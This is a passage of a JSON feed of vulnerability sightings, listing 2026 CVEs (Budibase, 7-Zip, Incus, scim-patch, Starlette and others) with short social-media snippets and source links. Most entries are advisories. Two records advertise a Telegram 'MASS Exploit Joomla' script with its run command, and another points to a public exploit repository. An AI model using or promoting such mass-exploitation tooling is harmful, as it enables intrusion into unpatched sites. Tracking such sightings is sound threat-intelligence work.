ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.0, /api/pu...", "creation_timestamp": "2026-05-27T19:45:49.346964Z"}, {"uuid": "296fbb16-97b3-4347-b941-0daed6245721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48128", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmubqugvac2o", "content": "CVE-2026-48128 - Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step\nCVE ID : CVE-2026-48128\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.0, the executeQuery automat...", "creation_timestamp": "2026-05-27T19:50:49.924520Z"}, {"uuid": "900e56a1-88c2-478a-a7e4-c197200ece23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48147", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmubzsxsj62o", "content": "CVE-2026-48147 - Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker\nCVE ID : CVE-2026-48147\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to...", "creation_timestamp": "2026-05-27T19:55:55.546526Z"}, {"uuid": "e667063c-d0a1-4530-a52b-3da9980e331f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48153", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmucdcb5kf2p", "content": "CVE-2026-48153 - Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata\nCVE ID : CVE-2026-48153\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.0, fetchToken in...", "creation_timestamp": "2026-05-27T20:01:08.329369Z"}, {"uuid": "29f4a1a3-c695-457e-88bb-7463f6065d3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/coxxs.moe/post/3mmucgj6mxk27", "content": "7-Zip users, time to upgrade!\n\nCVE-2026-48095\nsecuritylab.github.com/advisories/G...", "creation_timestamp": "2026-05-27T20:03:07.582931Z"}, {"uuid": "5b334811-9c8b-456e-813c-57db8e78b550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmucmavj2g2i", "content": "CVE-2026-48152 - Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL\nCVE ID : CVE-2026-48152\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.0...", "creation_timestamp": "2026-05-27T20:06:08.893382Z"}, {"uuid": "e1fb8098-2cc8-4a4d-be3e-5c4533d079e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmucnfq3w323", "content": "~Cisa~\nCISA added three actively exploited vulnerabilities to the KEV catalog.\n-\nIOCs: CVE-2026-8398, CVE-2026-45321, CVE-2026-48027\n-\n#CISA #KEV #threatintel", "creation_timestamp": "2026-05-27T20:06:47.890100Z"}, {"uuid": "2bff31a9-d7b1-4a64-a1ec-cd0a050cc770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48064", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmuprfcpqb2n", "content": "\ud83d\udfe0 CVE-2026-48064 - High (8.1)\n\npam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48064/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-28T00:01:51.588899Z"}, {"uuid": "8c29dd56-96c7-4f96-a0b5-9ea963d9bae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4868", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmutghmbwl25", "content": "\ud83d\udccc CVE-2026-4868 - GitLab has remediated an issue in GitLab EE affecting all versions from 18.8 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that, under ... https://www.cyberhub.blog/cves/CVE-2026-4868", "creation_timestamp": "2026-05-28T01:07:08.595447Z"}, {"uuid": "d86b910a-a2ff-4708-8dc5-818585f52eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmuy3mednn24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45250: 72 interactions\nCVE-2026-46333: 18 interactions\nCVE-2026-69: 18 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-48095: 11 interactions\nCVE-2026-48710: 4 interactions\nCVE-2026-1933: 3 interactions\n", "creation_timestamp": "2026-05-28T02:30:32.871546Z"}, {"uuid": "500b4652-6a54-4b25-b563-d498b0abecfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmuy3mednn24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45250: 72 interactions\nCVE-2026-46333: 18 interactions\nCVE-2026-69: 18 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-48095: 11 interactions\nCVE-2026-48710: 4 interactions\nCVE-2026-1933: 3 interactions\n", "creation_timestamp": "2026-05-28T02:30:33.020696Z"}, {"uuid": "0a19880c-faef-493d-b6fe-bbd87a8dcf70", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f091595-d12a-4563-a4b7-3265b21c20fc", "content": "", "creation_timestamp": "2026-08-05T01:00:36.777495Z"}, {"uuid": "57e92ef0-8147-4d05-93a5-4af06e65a665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4888", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmuz4qomi52p", "content": "CVE-2026-4888 - Everest Forms \u2013 Contact Form, Payment Form, Quiz, Survey & Custom Form Builder\nCVE ID : CVE-2026-4888\n \n Published : May 28, 2026, 12:16 a.m. | 2\u00a0hours, 15\u00a0minutes ago\n \n Description : The Everest Forms \u2013 Contact Form, Payment Form, Quiz, Survey & Custom Fo...", "creation_timestamp": "2026-05-28T02:49:06.813232Z"}, {"uuid": "d088ee5b-9fa0-494a-9da5-2866348d82f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48753", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmhl5cg6q2b", "content": "CVE-2026-48753 - incus\nIncus's S3-compatible upload feature lets attackers trick the system into creating files in any location by using specially crafted path names. This could let a malicious user\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian14 #CVE #infosec", "creation_timestamp": "2026-08-21T19:10:04.678529Z"}, {"uuid": "ea0c70b2-7370-441b-9f2b-2def5373e7fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmhl5x54b2p", "content": "CVE-2026-48755 - incus\nIncus lets users pick a program to compress backup data, but it only verifies the first word of the command. Extra options are not checked, so an attacker can add commands that\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T19:10:05.560949Z"}, {"uuid": "26f60a96-1ea1-4444-860a-2bdc3e0789a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mmuzgqmz262l", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-9256) NGINX Heap Buffer Overflow via Rewrite Module\" and \"Emerging Threat: (CVE-2026-48172) LiteSpeed cPanel Plugin Privilege Escalation to Root\".\n \n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-05-28T02:54:40.114648Z"}, {"uuid": "fbf05b51-2178-46e6-9350-8507a51acb6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmi4zenv523", "content": "CVE-2026-48769 - incus\nIf an Incus server pulls an image from an untrusted source, a malicious image server can send special instructions that cause Incus to create a file anywhere on the host,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T19:20:04.051047Z"}, {"uuid": "8c25b14c-4b61-4e70-9dca-c63eca1a50c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://t.me/CyberDispatch/1725", "content": "7-Zip CVE-2026-48095: NTFS Heap Overflow Can Trigger Through Renamed Files.", "creation_timestamp": "2026-08-29T20:00:13.909543Z"}, {"uuid": "ae915018-0f84-4ed0-877e-7fda0e077b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48170", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msjldc4i7t2r", "content": "CVE-2026-48170 - scim-patch\nThe scimPatch library in Node.js versions up to 0.9.0 can be exploited by an attacker to modify system settings and potentially gain unauthorized access or disrupt\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#scimpatch #thomaspoignant #npm #CVE #infosec", "creation_timestamp": "2026-08-07T22:14:04.579036Z"}, {"uuid": "733eb32c-8d3a-4ca3-9beb-d01f8d0b2ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48169", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/je3oafgehh6gw", "content": "CVE-2026-48169 - PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API\nCVE ID : CVE-2026-48169\n \n Published : Aug. 7, 2026, 9:22 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : PraisonAI is a multi-agent teams system. Versions prior to 0.1.4 of the Praison...", "creation_timestamp": "2026-08-07T22:34:13.050998Z"}, {"uuid": "bcc634e2-5dd7-4b2b-aaca-7f9ed0dc1f66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48170", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/i3wvb2yauzyfz", "content": "CVE-2026-48170 - scimPatch vulnerable to prototype pollution via unfiltered keys in patch\nCVE ID : CVE-2026-48170\n \n Published : Aug. 7, 2026, 9:26 p.m. | 57\u00a0minutes ago\n \n Description : `scim-patch`, a library to perform SCIM patch, prior to version 0.9.1 performs prototype p...", "creation_timestamp": "2026-08-07T22:48:08.852132Z"}, {"uuid": "a03b30c0-66cc-477c-8dcd-e63635c833b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48170", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msjnwacjmj25", "content": "\ud83d\udd34 CVE-2026-48170 - Critical (9.1)\n\n`scim-patch`, a library to perform SCIM patch, prior to version 0.9.1 performs prototype pollutio...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48170/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-07T23:00:28.498394Z"}, {"uuid": "87c7c34c-19d4-4791-b8ea-dedf6472ee9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48169", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msjnvzdc2e2y", "content": "\ud83d\udfe0 CVE-2026-48169 - High (8.8)\n\nPraisonAI is a multi-agent teams system. Versions prior to 0.1.4 of the PraisonAI Platform API ha...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48169/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-07T23:00:20.992301Z"}, {"uuid": "4ffeca87-e3af-4048-8da5-7630cbce0e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48710", "type": "seen", "source": "https://bsky.app/profile/barredspirals.comint.su/post/3mmv4k56npckp", "content": "snake cultists just can't stop winning https://www.cyberkendra.com/2026/05/badhost-cve-2026-48710-one-rogue-header.html", "creation_timestamp": "2026-05-28T03:50:17.710705Z"}, {"uuid": "3388e3f6-8563-4d34-b6fe-8c8492431e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48120", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msjrbpdqso24", "content": "\ud83d\udfe0 CVE-2026-48120 - High (8.6)\n\nKakoune is a code editor. Prior to version 2026.05.21, the bundled, enabled by default, `autorest...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-08T00:00:34.963303Z"}, {"uuid": "b7fbc5e3-bc88-4139-bd88-0117f48499eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48170", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117056945353010722", "content": "CVE-2026-48170 (CRITICAL, CVSS 9.1): Prototype pollution in scim-patch <0.9.1 lets attackers alter Object.prototype globally in Node.js. Upgrade to 0.9.1+ or freeze prototypes for mitigation. https://radar.offseq.com/threat/cve-2026-48170-cwe-1321-improperly-controlled-modification-of-object-prototype-attributes-prototype-1a8d5ec623a7b014 #OffSeq #CVE202648170 #NodeJS #InfoSec", "creation_timestamp": "2026-08-08T00:00:38.293650Z"}, {"uuid": "516b02c1-ce7c-4477-8623-ccb3ced463f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48170", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msjrbv2itj24", "content": "CRITICAL: Prototype pollution in scim-patch <0.9.1 risks privilege escalation in Node.js. Patch by upgrading to 0.9.1+ or freeze core prototypes at startup. https://radar.offseq.com/threat/cve-2026-48170-cwe-1321-improperly-controlled-modification-of-object-prototype-attributes-prototype-1a8d5ec6...", "creation_timestamp": "2026-08-08T00:00:40.929793Z"}, {"uuid": "cb6e6e25-6928-440f-90f3-5765821b0178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmva2n3yyv2z", "content": "CVE-2026-48172 \u2014 LiteSpeed User-End cPanel Plugin Privilege Escalation", "creation_timestamp": "2026-05-28T04:53:10.242034Z"}, {"uuid": "d9533387-13a8-4f9b-b26b-f2a5b2c10e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116650418837390666", "content": "A lot of offensive activities were identified targeting nrwl nx-console (CVE-2026-48027) https://vuldb.com/vuln/366456/cti", "creation_timestamp": "2026-05-28T04:55:35.601051Z"}, {"uuid": "c91e3dd0-c21a-4cc1-a543-10bd249af774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hackmag.com/post/3mmvagyksh22s", "content": "\ud83d\udfe2 BadHost vulnerability in the Starlette framework poses a threat to AI agents\n\n\ud83d\udde8\ufe0f Researchers are warning about a critical vulnerability, CVE-2026-48710, discovered in the open-source Starlette framewor\u2026\n\n#news", "creation_timestamp": "2026-05-28T05:00:04.988037Z"}, {"uuid": "46597fbe-c859-42d7-9d20-7d3f7b2c5a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48765", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117081009537691305", "content": "CVE-2026-48765 (CRITICAL, CVSS 9.9): TypeBot.io <3.17.0 suffers from an auth bypass, letting read collaborators hijack OAuth credentials across workspaces. Upgrade to 3.17.0+ ASAP. https://radar.offseq.com/threat/cve-2026-48765-cwe-639-authorization-bypass-through-user-controlled-key-in-baptistearno-typebotio-a7be46425d0039c4 #OffSeq #CVE202648765 #TypeBot #OAuth #Security", "creation_timestamp": "2026-08-12T06:00:28.464975Z"}, {"uuid": "7ae15dba-451c-4fa4-a866-ffbf229e2a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48765", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msuhaz3lwr2e", "content": "TypeBot.io <3.17.0 hit by CRITICAL CVE-2026-48765 \u2014 low-privilege users can hijack OAuth credentials across workspaces. Upgrade to 3.17.0+ to fix! https://radar.offseq.com/threat/cve-2026-48765-cwe-639-authorization-bypass-through-user-controlled-key-in-baptistearno-typebotio-a7be46425d0039c4 #Of...", "creation_timestamp": "2026-08-12T06:00:30.504662Z"}, {"uuid": "48d9851b-7280-4409-9a93-9b935d908068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "Telegram/XPzjER_VXnqDaL0x3el2A57nJCguhK8qowmsl0HK-KFshHo", "content": "", "creation_timestamp": "2026-05-27T21:09:44.000000Z"}, {"uuid": "98065a8b-c24a-4f6a-bd62-edfdedf07000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4893", "type": "seen", "source": "Telegram/XPzjER_VXnqDaL0x3el2A57nJCguhK8qowmsl0HK-KFshHo", "content": "", "creation_timestamp": "2026-05-27T21:09:44.000000Z"}, {"uuid": "15f9b3b6-cf8b-4e07-a9f6-45bd81f76b26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4893", "type": "seen", "source": "Telegram/XzC-KGBCdspPXiEjFuhhLQhveWuSfskWTBPYimD-K-OCFrQ", "content": "", "creation_timestamp": "2026-05-27T21:02:29.000000Z"}, {"uuid": "92d9bb53-f605-4dbc-91e7-a9a6622e8875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/FOx_CyberSecurity/44", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\nFox-joomal.py listjoomla.txt\n\n#AnonymousFox", "creation_timestamp": "2026-08-16T19:00:04.016307Z"}, {"uuid": "59be7a42-a43a-4448-8a8f-8c928354a196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/FOx_CyberSecurity/44", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\nFox-joomal.py listjoomla.txt\n\n#AnonymousFox", "creation_timestamp": "2026-08-16T19:00:04.047698Z"}, {"uuid": "58573a8f-e473-4b1d-ac56-6533a99806c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/6011c64220f6bdf2627caa157ca8c89a", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)", "creation_timestamp": "2026-05-28T08:08:06.000000Z"}, {"uuid": "0d6305b9-24e9-4167-a22a-68f62207c977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/8caa7d57952830f649a4c7191c8a8550", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\u2600\ufe0fIn review**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83e\udd73Testing**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)", "creation_timestamp": "2026-05-28T09:37:42.000000Z"}, {"uuid": "edfcdaac-d6f9-4657-9696-7f4fab19eb46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/GithubRedTeam/86224", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BadHost-CVE-2026-48710-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Bhanunamikaze\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-28 09:59:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-28T10:00:04.000000Z"}, {"uuid": "c81a10a0-77b4-4437-bee2-647388e3bb20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mmvvr4arxf2q", "content": "It seems our dear friends using the LiteSpeed cPanel plugin now have the distinct pleasure of hosting a critical privilege escalation party where any uninvited guest can claim root access. Naturally, CISA has added CVE-2026-48172 to their ever-expanding list of things we should h...\n\nRead full story", "creation_timestamp": "2026-05-28T11:21:32.250119Z"}, {"uuid": "cbd4766a-aacc-4236-abae-e772125b8bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mmvvrh4ubv2i", "content": "It seems our dear friends using the LiteSpeed cPanel plugin now have the distinct pleasure of hosting a critical privilege escalation party where any uninvited guest can claim root access. Naturally, CISA has added CVE-2026-48172 to their ever-expanding list of things we should h...\n\nRead full story", "creation_timestamp": "2026-05-28T11:21:43.824042Z"}, {"uuid": "61b398f6-b13d-4d4c-be60-1d82e55b12a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4868", "type": "seen", 